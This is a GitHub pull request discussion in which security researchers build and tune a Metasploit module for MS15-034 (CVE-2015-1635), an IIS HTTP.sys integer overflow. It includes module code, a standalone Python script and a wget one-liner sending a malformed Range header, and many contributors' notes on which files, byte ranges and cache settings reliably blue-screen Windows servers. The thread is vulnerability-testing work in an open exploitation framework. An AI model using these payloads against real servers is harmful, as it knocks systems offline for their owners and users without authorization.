Add MS15-034 (CVE-2015-1635) https.sys Request Handling Denial-of-Service (and check) #5150

Merged
merged 9 commits into from Apr 15, 2015

Projects

None yet
@wchen-r7
Contributor

I didn't do much, I found a work-in-progress code here: http://pastebin.com/raw.php?i=ypURDPc4

I tested it and worked on my IIS:

screen shot 2015-04-15 at 1 46 48 am

So I ported that to Metasploit. This MSF module can do two things:

  1. It can check if the target is vulnerable or not (if you use the check command)
  2. It can dos the target (if you use the run command, but the check will kick in first)

Here's how you can test it:

  • Set up a Windows 7 SP1 box
  • Install IIS
  • Open IIS Manager, click on Default Web Site. You will see Output Caching there, double click on that, and then on the right you will see Edit Feature Settings: Make sure "Enable kernel cache" is enabled. By default it already is.
  • I added a .htm extension for kernel-mode caching too during testing, but this may not be necessary.
  • Run the module
msf auxiliary(ms15_034_ulonglongadd) > run

[*] 192.168.1.169:80 - DOS request sent
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Of if you see me in person, you can use my box, too.

@wchen-r7 wchen-r7 changed the title from This module will check for MS15-034 (CVE-2015-1635) https.sys Request Handling Vulnerability to Add MS15-034 (CVE-2015-1635) https.sys Request Handling Vulnerability Apr 15, 2015
@andresriancho andresriancho referenced this pull request in andresriancho/w3af Apr 15, 2015
Closed

New plugin CVE-2015-1635 - RCE in Windows HTTP.sys #9479

0 of 13 tasks complete
@andresriancho

@wchen-r7 does this test crash the remote IIS / OS?

@andresriancho

I think I've found the answer here: https://ma.ttias.be/remote-code-execution-via-http-request-in-iis-on-windows/?hn

When sending such a request, it can trigger a blue screen on the Windows Server, effectively rendering it offline.

@wchen-r7
Contributor

@andresriancho Hmm it never DOS'd my IIS boxes (I had 3 for testing at the time). But let me double check again, this time I try more requests... bbl.

@FireFart
Contributor

i tried the exploit against a bunch of servers at work and none of them crashed. Maybe you need a special configuration so the blue screen is triggered.

@wchen-r7
Contributor

So Bill and I tested the code against Windows 7. I tried testing on Windows Server 2008 (32-bit) and that didn't work for me. Another box with 403 everything couldn't either. I have heard binary_raider saying the code works for Windows Server 2012: https://twitter.com/binary_raider/status/588260892707545088

@wchen-r7
Contributor

Another test: 1000 requests and no DOS. Maybe like @FireFart said, has to be something specific.

@wchen-r7
Contributor

I found a guy saying it DOS'd for him: http://www.reddit.com/r/netsec/comments/32n3m2/cve20151635_rce_in_windows_httpsys/cqd680s

So I'm gonna go ahead and add this in the description. Thanks all.

@FireFart
Contributor

Here is a video of a bluescreen on win2k12
https://www.youtube.com/watch?v=BlBXREzsytc&feature=youtu.be

@wchen-r7
Contributor

@FireFart Good find. Thanks!

@FireFart
Contributor

tried the output caching on win2k8 but I still can't trigger the bsod. I currently have no admin access to a win2k12 to try it out :(

@Meatballs1 Meatballs1 and 1 other commented on an outdated diff Apr 15, 2015
modules/auxiliary/scanner/http/ms15_034_ulonglongadd.rb
+ def check_host(ip)
+ uri = normalize_uri(target_uri.path)
+
+ res = send_request_raw({'uri'=>uri})
+
+ unless res
+ vprint_error("#{ip}:#{rport} - Connection timed out")
+ return Exploit::CheckCode::Unknown
+ end
+
+ if res.code == 404
+ print_error("#{ip}:#{rport} - URI must be a valid resource")
+ return
+ end
+
+ if !res.headers['Server'].include?('Microsoft-IIS')
@Meatballs1
Meatballs1 Apr 15, 2015 Contributor

People may disable the server header. So maybe null, and also false negative.

Also may spoof it :)

@wchen-r7
wchen-r7 Apr 15, 2015 Contributor

That's true. I think I'm just going to get rid of this check. It doesn't feel important when it has a more explicit way to check.

Thanks.

@Meatballs1
Contributor

This won't cause a BSOD, try Range: bytes=18-18446744073709551615 instead

@Meatballs1
Contributor

n.b. can this be written as an auxiliary/dos/ module with a check?

@JamieH
JamieH commented Apr 15, 2015

You need to actually have some output caching rules enabled for this to work

@Meatballs1
Contributor

Worked for me against Windows 7 with default install of IIS... Did take a few triggers to BSOD.

@JamieH
JamieH commented Apr 15, 2015

What does your "Output Caching" tab show? Before I could get the exploit to work I had to add a rule to Output Caching to cache stuff to the Kernel-mode cache.

@Meatballs1 Meatballs1 commented on an outdated diff Apr 15, 2015
modules/auxiliary/scanner/http/ms15_034_ulonglongadd.rb
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+ include Msf::Auxiliary::Scanner
+ include Msf::Exploit::Remote::HttpClient
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'MS15-034 HTTP Protocol Stack Request Handling Vulnerability',
+ 'Description' => %q{
+ This module will check if your hosts are vulnerable to CVE-2015-1635 (MS15-034). A
+ vulnerability in the HTTP Protocol stack (HTTP.sys) that could result in arbitrary code
+ execution. Please note this module could potentially cause a denail-of-service against
@Meatballs1
Meatballs1 Apr 15, 2015 Contributor

denial

@Meatballs1
Contributor

@wchen-r7 has this covered:

Open IIS Manager, click on Default Web Site. You will see Output Caching there, double click on that, and then on the right you will see Edit Feature Settings: Make sure "Enable kernel cache" is enabled. By default it already is.

@phillips321

That youtube vid is mine, i have 2012r2x64 and 2008r2x64 here to test against. 2008r2x64 didn't blue screen, it just caused the box to lock up. 2012r2x64 resulted in BSOD. I've heard people saying caching needs to be enabled and populated to be vuln..... oh, and Hi Meatballs!

@TomSellers TomSellers and 1 other commented on an outdated diff Apr 15, 2015
modules/auxiliary/scanner/http/ms15_034_ulonglongadd.rb
+ end
+
+ if res.code == 404
+ print_error("#{ip}:#{rport} - URI must be a valid resource")
+ return
+ end
+
+ if !res.headers['Server'].include?('Microsoft-IIS')
+ vprint_error("#{ip}:#{rport} - Target isn't IIS")
+ return Exploit::CheckCode::Safe
+ end
+
+ res = send_request_raw({
+ 'uri' => uri,
+ 'method' => 'GET',
+ 'vhost' => 'stuff',
@TomSellers
TomSellers Apr 15, 2015 Contributor

The module has a vhost option that doesn't appear to be used. Should this be changed in order to support VIP/virtual hosts?

@wchen-r7
wchen-r7 Apr 15, 2015 Contributor

Actually I don't really need this, I'll get rid of this line. Thanks.

@julianvilas
Contributor

This is supposed to give blue screen

#Tested on Win Srv 2012R2.
import socket,sys

if len(sys.argv)<=1:   
 sys.exit('Give me an IP')

Host = sys.argv[1]

def SendPayload(Payload, Host):
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((Host, 80))
   s.send(Payload)
   s.recv(1024)
   s.close()

#Make sure iisstart.htm exist.
Init = "GET /iisstart.htm HTTP/1.0\r\n\r\n"
Payload = "GET /iisstart.htm HTTP/1.1\r\nHost: blah\r\nRange: bytes=18-18446744073709551615\r\n\r\n"

SendPayload(Init, Host)
SendPayload(Payload, Host)

via: https://twitter.com/PythonResponder/status/588364311422181376

@phillips321

And doesn't this module actually cause the BSoD rather than just 'check' for it?

@gorums
gorums commented Apr 15, 2015

Such checked, any idea about how exploit this vulnerability?

@phillips321

So with an unpopulated Output Caching but is enabled it is still vulnerable.
screen shot 2015-04-15 at 17 29 38

@rangercha
Contributor

I did some testing on a vulnerable system and it did NOT bluescreen with the range identified in the module. I changed the range to start at 18 instead of 0 and it still returned a 416 with no bluescreen when requesting an html file. When I changed to a valid .png file for the TargetURI with the range starting at 18 it bluescreened the box. Requesting the same png with a range starting at 0 gave the 416. This was on a 2008r2 server. So maybe the range differences account for some of the bluescreens vs no bluescreen.

@phillips321

FYI, requesting / did not result in a BSOD. requesting a default png did for me.

@KevinBeaumont

Okay, so since high profile peeps in security keep linking to this online - it is NOT a remote code execution exploit.

You can send a request to /welcome.png (2008 R2) or /iis-85.png (Windows Server 2012/R2) with header "Range: bytes=18-18446744073709551615" and the box will reboot.

You can use wget: wget --header="Range: bytes=18-18446744073709551615" http://blah-2012-server.com/iis-85.png

It's an integer issue and it would be difficult to exploit for RCE.

@TomSellers
Contributor

Verified current code works ( causes BSOD ) in my environment if the Range bytes value is changed to '18-18446744073709551615' when using a TARGETURI value of a valid file. Invalid URI will cause the module to crash. I will comment on the code line.

@wchen-r7
Contributor

n.b. can this be written as an auxiliary/dos/ module with a check?

If this can reliably DOS, yeah I will convert it to a DOS module w/ a check.

@KevinBeaumont

You can very reliably DoS by using 18-18446744073709551615 as Range: parameter, with a largeish file (e.g. /welcome.png (2008 R2) or /iis-85.png (Windows Server 2012/R2))

@TomSellers TomSellers commented on an outdated diff Apr 15, 2015
modules/auxiliary/scanner/http/ms15_034_ulonglongadd.rb
+
+ register_options(
+ [
+ OptString.new('TARGETURI', [true, 'The base path', '/'])
+ ], self.class)
+
+ deregister_options('RHOST')
+ end
+
+ def run_host(ip)
+ code = check_host(ip)
+ case code
+ when Exploit::CheckCode::Vulnerable
+ print_good("#{ip}:#{rport} - #{code.last}")
+ else
+ print_status("#{ip}:#{rport} - #{code.last}")
@TomSellers
TomSellers Apr 15, 2015 Contributor

Using a non existent URL in TARGETURI causes line 50 to crash due to the variable 'code' being nil when a 404 is returned from the server.

@wchen-r7
Contributor

@KevinBeaumont Ok yes, that does DOS for me. I will convert this to a DOS modulenow. Will not take very long. Thanks!

@TomSellers TomSellers and 3 others commented on an outdated diff Apr 15, 2015
modules/auxiliary/scanner/http/ms15_034_ulonglongadd.rb
+ [
+ 'Bill Finlayson', # He did all the work (see the pastebin code), twitter: @hectorh56193716
+ 'sinn3r' # MSF version of bill's work
+ ],
+ 'References' =>
+ [
+ ['CVE', '2015-1635'],
+ ['MSB', 'MS15-034'],
+ ['URL', 'http://pastebin.com/ypURDPc4']
+ ],
+ 'License' => MSF_LICENSE
+ ))
+
+ register_options(
+ [
+ OptString.new('TARGETURI', [true, 'The base path', '/'])
@TomSellers
TomSellers Apr 15, 2015 Contributor

This should probably default to /iisstart.htm as it exists on both Windows 2008 R2 and 2012 R2 and the naked root '/' doesn't seem to cause crashes.

@wchen-r7
wchen-r7 Apr 15, 2015 Contributor

Yes I will do that. In fact, I will change this to the png file.

@KevinBeaumont
KevinBeaumont Apr 15, 2015

PNG file - there's two, they depend on OS/IIS version. (But PNG file is best bet for reliability, from testing - we could sense which one to use via HTTP headers).

@TomSellers
TomSellers Apr 15, 2015 Contributor

The PNG is diff on 2012 RS vs 2008 R2. If you use iisstart.htm it will be more reliable across versions.

@wchen-r7
wchen-r7 Apr 15, 2015 Contributor

Hmm iisstart.htm doesn't actually dos for me...

How about this, I will leave this info in the description suggesting what files you could use, and then we'll leave it to the user to decide?

@KevinBeaumont
KevinBeaumont Apr 15, 2015

I think it may be tempting to default to trying both PNG files if no parameter specified. If parameter specified, use that instead. I think that would have a very high chance of success.

The reason is if people do DoS testing and don't know to use a file or use a bad one, it will get missed.

@sardoc
sardoc Apr 15, 2015

iisstart.htm didn't work for me at first either, until I did a valid wget request against it before trying the DOS code. Even then, it didn't blue screen, just seized up the VM.

@sardoc
sardoc commented Apr 15, 2015

Has anyone tried to upload other png files and got this to work? Strangely, I can only get a DOS with the default welcome.png and iis-85.png (or copies of these images)... when I've uploaded other PNG files and try the code on those, the DOS isn't triggered.

@rangercha
Contributor

It DOSed with one of my custom PNGs. it is 855 bytes.

@KevinBeaumont

It doesn't have to be PNG, for info. Just a file, basically. (You're using an IIS function to recall a partial of the file from cache, which by default runs from kernel - apparently nobody in the world thought to fuzz that earlier).

@wchen-r7
Contributor

Ok guys, I have converted the check module to a DOS module (well, it can check and dos now). And I've also updated the PR description.

If I missed your comments, please let me know and I will make changes again. Thanks all!

@sardoc
sardoc commented Apr 15, 2015

My mistake, the PNG images I was using were too large (>262144 bytes)... apparently the "Maximum cached response size" setting actually works

@wchen-r7 wchen-r7 changed the title from Add MS15-034 (CVE-2015-1635) https.sys Request Handling Vulnerability to Add MS15-034 (CVE-2015-1635) https.sys Request Handling Denial-of-Service Apr 15, 2015
@wchen-r7 wchen-r7 changed the title from Add MS15-034 (CVE-2015-1635) https.sys Request Handling Denial-of-Service to Add MS15-034 (CVE-2015-1635) https.sys Request Handling Denial-of-Service (and check) Apr 15, 2015
@jvazquez-r7 jvazquez-r7 self-assigned this Apr 15, 2015
@jvazquez-r7 jvazquez-r7 merged commit 76d36a4 into rapid7:master Apr 15, 2015
@jvazquez-r7 jvazquez-r7 added a commit that referenced this pull request Apr 15, 2015
@jvazquez-r7 jvazquez-r7 Land #5150, @wchen-r7's DOS module for CVE-2015-1635 HTTP.sys
* `check` to test, `run` to DoS
3ca7d6a
@jvazquez-r7
Contributor

Test:

msf auxiliary(ms15_034_ulonglongadd) > set rhosts 10.6.0.96
rhosts => 10.6.0.96
msf auxiliary(ms15_034_ulonglongadd) > check
[+] 10.6.0.96:80 - The target is vulnerable.
[*] Checked 1 of 1 hosts (100% complete)
msf auxiliary(ms15_034_ulonglongadd) > run

[*] 10.6.0.96:80 - DOS request sent
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Thanks @wchen-r7 !

@dmiller-nmap dmiller-nmap commented on the diff Apr 15, 2015
modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+ # Watch out, dos all the things
+ include Msf::Auxiliary::Scanner
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Auxiliary::Dos
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'MS15-034 HTTP Protocol Stack Request Handling Denial-of-Service',
+ 'Description' => %q{
+ This module will check if your hosts are vulnerable to CVE-2015-1635 (MS15-034). A
+ vulnerability in the HTTP Protocol stack (HTTP.sys) that could result in arbitrary code
+ execution. This module will try to cause a denail-of-service.
@dmiller-nmap
dmiller-nmap Apr 15, 2015

Spelling here: s/denail/denial/

@wchen-r7
wchen-r7 Apr 15, 2015 Contributor

ah man. I need a spell checker for my text editor.

@wchen-r7
wchen-r7 Apr 15, 2015 Contributor

Correction submitted: #5155

Thanks.

@todb-r7
Contributor
todb-r7 commented Apr 15, 2015

thank YOU @wchen-r7 for the quick turnaround on the PoC.

@HsSec
HsSec commented Apr 15, 2015

is it vuln possible to execute shellcode meterpreter stager ?

@altonius

has anyone had any luck with running this against the WinRM service, which runs a HTTP service? could be another avenue to try.

@FireFart
Contributor

here is a translated version of an anlysis:
https://translate.google.com/translate?hl=en&sl=zh-CN&tl=en&u=http%3A%2F%2Fblogs.360.cn%2Fblog%2Fcve_2015_6135_http_rce_analysis&sandbox=1

It says So, for iisstart.htm, lower> = 310 and <647 can stabilize the trigger BSOD (in google translate english)

Maybe we can try this out?

@wchen-r7
Contributor

Yes we can try. I can work on this again this Friday.

@snobu
snobu commented Apr 16, 2015

From ‏@Lee_Holmes:

MS015-034 vulnerability requires that services use Kernel Mode Caching in http.sys. WinRM and PowerShell Remoting do not.

https://twitter.com/Lee_Holmes/status/588464652708806656

@L34Rn
L34Rn commented Apr 16, 2015

blue screen on 2008r2 iis7.5

@Meatballs1
Contributor

From ‏@Lee_Holmes:

MS015-034 vulnerability requires that services use Kernel Mode Caching in http.sys. WinRM and PowerShell Remoting do not.

Network Discovery 5357 is also a HTTP.sys service, but was also not vuln. 😢

You can list available HTTP.sys services with netsh http show iplisten

@TomSellers
Contributor

I don't see any results on that command but someone on twitter, I forget who, provided this one:

netsh http show servicestate

and look for Registered URLS. This seems to provide usable data in my environment.

@KevinBeaumont

One note on SANS FAQ - just because something uses HTTP.sys, doesn't mean it vuln to this. Kernel Mode Caching has to be called, which is pretty rare - e.g. IIS uses it for caching static content, and that's basically it.

Also to clear up another common misconception, this is not an RCE issue. It's a single integer overflow. Stop buying into the Qualys etc hype - they're just speculating.

@Meatballs1
Contributor

Doh I meant servicestate :D

N.b. pics on twitters of the tcp traffic indicates a memory leak - after the end of the response...

@snobu
snobu commented Apr 17, 2015

Easily parsable with a PowerShell oneliner.

PS> $(netsh http show servicestate) -match 'HTTP' -replace ' ', '' | select -Skip 1
HTTP://+:5985/WSMAN/
HTTP://+:47001/WSMAN/
@wiredaem0n

A standalone python version.
http://pastebin.com/PpX8QS3y

@todb-r7 todb-r7 added a commit to todb-r7/metasploit-framework that referenced this pull request May 6, 2015
@todb-r7 todb-r7 Various post-commit fixups
Edited modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb first landed
in #5150, @wchen-r7's DOS module for CVE-2015-1635 HTTP.sys

Edited modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb
first landed in #5192, @joevennix's module for Safari CVE-2015-1126

Edited modules/auxiliary/gather/java_rmi_registry.rb first landed in

Edited modules/auxiliary/gather/ssllabs_scan.rb first landed in #5016,
add SSL Labs scanner

Edited modules/auxiliary/scanner/http/goahead_traversal.rb first landed
in #5101, Add Directory Traversal for GoAhead Web Server

Edited modules/auxiliary/scanner/http/owa_iis_internal_ip.rb first
landed in #5158, OWA internal IP disclosure scanner

Edited modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb
first landed in #5159, WordPress Mobile Edition Plugin File Read Vuln

Edited modules/exploits/linux/http/multi_ncc_ping_exec.rb first landed
in #4924, @m-1-k-3's DLink CVE-2015-1187 exploit

Edited modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb first
landed in #5131, WordPress Slideshow Upload

Edited modules/exploits/windows/local/run_as.rb first landed in #4649,
improve post/windows/manage/run_as and as an exploit

(These results courtesy of a delightful git alias, here:

```
  cleanup-prs = !"for i in `git status | grep modules | sed
s/#.*modules/modules/`; do echo -n \"Edited $i first landed in \" && git
log --oneline --first-parent $i | tail -1 | sed 's/.*Land //' && echo
''; done"

```

So that's kind of fun.
f423306
@todb-r7 todb-r7 referenced this pull request May 6, 2015
Merged

Various post-commit fixups #5312

@erwanlr
Contributor
erwanlr commented May 11, 2015

Small update on that one:

I was tested a client's server using a custom script and the MSF module to check it, both reported the target as vulnerable. Then, the client applied the patch and I retested it with the same stuff and cURL.

cURL reported it as fixed, the two others as vulnerable. After investigation, the remote server was still sending the cached response for my custom script and MSF based on the UserAgent being used.

e.g:

msf auxiliary(ms15_034_ulonglongadd) > check
[+] X.X.X.X:80 - The target is vulnerable.
[*] Checked 1 of 1 hosts (100% complete)


msf auxiliary(ms15_034_ulonglongadd) > set UserAgent 'Hello'
UserAgent => Hello
msf auxiliary(ms15_034_ulonglongadd) > check
[*] X.X.X.X:80 - The target is not exploitable.
[*] Checked 1 of 1 hosts (100% complete)

Not sure if this is the behaviour for all IIS or just a weird one I got :x

Anyway, it might be useful to add a random string to the UA to avoid such FP when retesting :)

@wchen-r7
Contributor

Thanks for the info!

@wchen-r7
Contributor

@erwanlr Hmm I'm not able to reproduce the behavior you described.

Here's the vulnerable response:

msf auxiliary(ms15_034_ulonglongadd) > check
[+] 192.168.1.138:80 - The target is vulnerable.
[*] Checked 1 of 1 hosts (100% complete)

Here's the patched response:

msf auxiliary(ms15_034_ulonglongadd) > check
[*] 192.168.1.138:80 - The target is not exploitable.
[*] Checked 1 of 1 hosts (100% complete)

Is it possible to give me more precise steps to reproduce this? (Including the server setup)

@erwanlr
Contributor
erwanlr commented May 12, 2015

I retested using the exact same options (RHOSTS, VHOST and TARGETURI - was a css file -, all others were default values) and noticed that is was still reported as vulnerable whereas using cURL it wasn't.

Then, after playing with burp to determine what was going on, I found that when using the same User-Agent than the first check, the cached response was received.

I don't know the server setup unfortunately, all I can say is that it was an IIS 7.5 (but that won't really help :/)

If it was affecting all IIS, other people would have reported such weird behaviour, so I assume I just hit a unicorn :O

@wchen-r7
Contributor

OK, thanks! I will keep an eye on this and try to reproduce again.

@TomSellers
Contributor

If I recall correctly the patch requires a reboot. If the response is cached it is unlikely to be from the target. Perhaps a proxy? Or a test against a patched but not rebooted server?

Tom

On May 12, 2015, at 11:22 AM, sinn3r notifications@github.com wrote:

OK, thanks! I will keep an eye on this and try to reproduce again.


Reply to this email directly or view it on GitHub.

@erwanlr
Contributor
erwanlr commented May 12, 2015

Ahhh, that must be the not rebooted server case as it was fixed during testing and the client didn't inform me of such thing.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment